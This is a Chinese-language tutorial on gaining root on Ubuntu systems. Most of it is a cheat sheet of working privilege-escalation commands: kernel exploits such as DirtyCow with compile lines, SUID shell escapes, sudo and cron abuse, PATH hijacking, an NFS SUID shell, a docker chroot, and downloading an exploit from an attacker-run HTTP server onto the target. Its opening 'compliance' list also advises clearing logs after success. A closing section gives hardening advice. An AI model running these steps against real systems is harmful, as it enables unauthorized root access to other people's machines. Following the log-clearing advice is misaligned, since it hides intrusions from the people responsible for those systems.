如何利用Ubuntu Exploit提权
小樊
35
2025-11-28 11:05:31
Ubuntu 提权利用方法与合规实践
一、合规与准备
- 仅在取得系统所有者的明确书面授权前提下进行安全测试;未授权测试属于违法行为。
- 准备隔离环境(如虚拟机/靶场),避免影响生产系统;测试前后做好快照与证据留存。
- 提权成功后及时清理痕迹(删除EXP与编译产物、清理日志等),并遵循最小权限原则进行修复与加固。
二、信息收集与漏洞线索
- 系统识别与内核信息:
- 查看发行版与内核:
cat /etc/os-release、lsb_release -a、uname -a、cat /proc/version
- 快速枚举脚本与提权建议:
- 使用自动化脚本收集薄弱点:LinEnum.sh、linuxprivchecker、linux-exploit-suggester-2、BeRoot
- 查询可能被滥用的二进制:
gtfobins.github.io
- 典型检查命令汇总:
- SUID/SGID 文件:
find / -perm -u=s -type f 2>/dev/null
- sudo 权限:
sudo -l
- 计划任务:
cat /etc/crontab、crontab -l、ls -la /etc/cron.*
- 可写敏感文件/目录:
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
- NFS 共享探测:
showmount -e <IP>、rpcinfo -p <IP>、nmap -sV --script=nfs* <IP>
三、常见提权路径与利用要点
-
内核漏洞提权
- 思路:匹配内核版本/发行版与已知本地提权EXP,编译后在目标执行。
- 示例:
- Ubuntu 14.04/15.10 上的 overlayfs 本地提权(如 Exploit-DB 37292、39166、39230)
- DirtyCow(CVE-2016-5195):影响广泛,示例编译
gcc -pthread dirty.c -o dirty -lcrypt
- Ubuntu 16.04.01–16.04.04 的 eBPF/bpf(2) 提权(CVE-2017-16995,Exploit-DB 45010)
- 风险:内核利用可能导致系统不稳定或崩溃,务必在可控环境测试。
-
SUID 滥用提权
- 查找:
find / -perm -u=s -type f 2>/dev/null
- 典型可被滥用的程序与方式:
find:find /tmp -exec /bin/sh -p \; -quit
vim:vim.tiny -c ':py import os; os.setuid(0); os.execl("/bin/sh","sh","-c","reset; exec sh")'
bash:bash -p
- 老旧
nmap 交互模式:在 SUID 位下执行 !sh 获取 root shell。
-
sudo 配置错误提权
- 检查:
sudo -l
- 若输出含 NOPASSWD: ALL 或允许以 root 身份执行某些命令,可直接提权:
sudo /bin/bash、sudo su -
- 或利用被允许的命令链(如
sudo vim/sudo less/sudo awk)逃逸到 root shell。
-
计划任务与环境变量劫持
- 计划任务:
- 可写脚本:向
/etc/cron.* 或 /etc/crontab 中脚本写入提权命令,等待执行
- 通配符注入:如
tar czf /backups/backup.tar.gz *,创建恶意文件触发命令执行
- 环境变量劫持(PATH 投毒):
- 条件:SUID 程序内部调用外部命令(如
cat、ls)
- 方法:在可写目录创建同名程序(如
./cat 内容为 /bin/sh),并将该目录置于 $PATH 首位后执行 SUID 程序。
-
服务与共享配置错误
- NFS(no_root_squash):
- 在攻击机挂载目标 NFS 共享,创建 SUID shell(
cp /bin/bash /mnt/shell; chmod u+s /mnt/shell)
- 目标机执行
/mnt/shell -p 获取 root
- Docker 组:
- 若用户在 docker 组:
docker run -v /:/mnt -it alpine chroot /mnt bash 直接获得 root 视角。
四、自动化辅助与EXP获取
- 漏洞线索与匹配:
- linux-exploit-suggester-2、LinEnum.sh、linuxprivchecker、BeRoot
- EXP 搜索与下载:
- searchsploit(Kali 内置):
searchsploit linux 4.4.0、searchsploit -x <EDB-ID>
- Exploit-DB:按 CVE/Kernel/Ubuntu 版本检索对应本地提权 EXP
- 传输与编译:
- 临时 HTTP 服务:
python3 -m http.server 80
- 目标机下载:
wget http://<IP>/exp.c
- 编译:
gcc exp.c -o exploit(必要时加 -pthread、-lcrypt 等参数)。
五、防护与修复建议
- 及时更新内核与系统软件包,修补已公开漏洞(如 overlayfs、eBPF、DirtyCow 等)。
- 严格控制 SUID/SGID:移除不必要的 SUID 位,或以最小权限重写功能。
- 规范 sudoers:遵循最小权限,避免 NOPASSWD: ALL;仅授权必要命令与参数。
- 加固 计划任务:脚本与目录最小权限;避免通配符注入;隔离可写目录。
- 安全 NFS:默认禁用或慎用 no_root_squash;限制来源与权限。
- 容器与特权:避免将普通用户加入 docker 等高特权组;必要时启用 rootless 模式与细粒度授权。
- 持续巡检:定期运行 LinEnum、linux-exploit-suggester-2 等基线检查,建立补丁与配置变更流程。